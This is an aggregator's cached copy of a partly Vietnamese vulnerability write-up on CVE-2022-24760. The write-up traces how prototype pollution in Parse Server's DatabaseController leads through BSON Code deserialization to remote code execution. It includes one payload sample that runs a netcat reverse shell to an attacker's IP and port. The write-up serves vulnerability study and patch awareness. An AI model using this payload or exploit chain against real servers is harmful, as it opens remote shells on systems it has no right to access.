CVE-2022-24760 PoC — Command Injection in Parse server

Source

https://github.com/tuo4n8/CVE-2022-24760

Associated Vulnerability

Title:Command Injection in Parse server (CVE-2022-24760)
Description:Parse Server is an open source http web server backend. In versions prior to 4.10.7 there is a Remote Code Execution (RCE) vulnerability in Parse Server. This vulnerability affects Parse Server in the default configuration with MongoDB. The main weakness that leads to RCE is the Prototype Pollution vulnerable code in the file `DatabaseController.js`, so it is likely to affect Postgres and any other database backend as well. This vulnerability has been confirmed on Linux (Ubuntu) and Windows. Users are advised to upgrade as soon as possible. The only known workaround is to manually patch your installation with code referenced at the source GHSA-p6h4-93qp-jhcm.

Readme

### [CVE-2022-24760](https://github.com/tuo4n8/CVE-2022-24760-Analysis)

---

### flow

![image-20220331114046018](take-note.assets/image-20220331114046018.png)

![image-20220331114258164](take-note.assets/image-20220331114258164.png)

- Default không cần key để thêm xóa sửa các class vào db

![image-20220331115258271](take-note.assets/image-20220331115258271.png)

---

### Diff commit

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

![image-20220331132344135](take-note.assets/image-20220331132344135.png)

- Prototype pollution xảy ra ở hàm `expandResultOnKeyPath` 

```
DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath
```

- `sanitizeDatabaseResult` được sử dụng khi `add` và `update` class mới. Tuy nhiên để prototype được phải thõa mãn điều khiện khi keyUpdate `__op` thuộc `['Add', 'AddUnique', 'Remove', 'Increment']`
- Do đó, các value prototype chỉ có thể là `array` hoặc là `number` 
  - ![image-20220331132813075](take-note.assets/image-20220331132813075.png)
  - ![image-20220331132823843](take-note.assets/image-20220331132823843.png)

- sample resquest like:

![image-20220331133133587](take-note.assets/image-20220331133133587.png)

### Sink exploit for RCE

- Trước khi lưu dữ liệu trên DB, luồng dữ liệu sẽ được `serialize` qua thư viện BSON, khi _bsontype là `Code` thì sẽ tiến hành `serializeCode` 

![image-20220331133328243](take-note.assets/image-20220331133328243.png)

								`parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762`

- Sau đó, dữ liệu sẽ được deserialize để thao tác đi đến sink:

![image-20220331145339371](take-note.assets/image-20220331145339371.png)

![image-20220331145403962](take-note.assets/image-20220331145403962.png)

![image-20220331145421339](take-note.assets/image-20220331145421339.png)

- Sử dụng prototype pollution để pollute `options['evalFunctions']` -> bypass đến hàm `isolateEval`
- Payload sample

```
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
```

- Do luồng thực thi hàm `expandResultOnKeyPath` đến sau khi deserilize nên cần thực hiện race condtion liên tục để khi đến `isolateEval` có thể trigger được

![image-20220331145825647](take-note.assets/image-20220331145825647.png)

File Snapshot


 [4.0K]  /data/pocs/be3fd67aac78879517b843cbbb20b8f4d546f10c
├── [2.5K]  README.md
└── [4.0K]  take-note.assets
    ├── [ 56K]  image-20220331114046018.png
    ├── [ 73K]  image-20220331114258164.png
    ├── [ 59K]  image-20220331115258271.png
    ├── [ 53K]  image-20220331132344135.png
    ├── [ 12K]  image-20220331132750649.png
    ├── [ 12K]  image-20220331132813075.png
    ├── [ 13K]  image-20220331132823843.png
    ├── [ 15K]  image-20220331133133587.png
    ├── [ 20K]  image-20220331133328243.png
    ├── [ 25K]  image-20220331145339371.png
    ├── [ 48K]  image-20220331145403962.png
    ├── [ 23K]  image-20220331145421339.png
    └── [ 48K]  image-20220331145825647.png

1 directory, 14 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!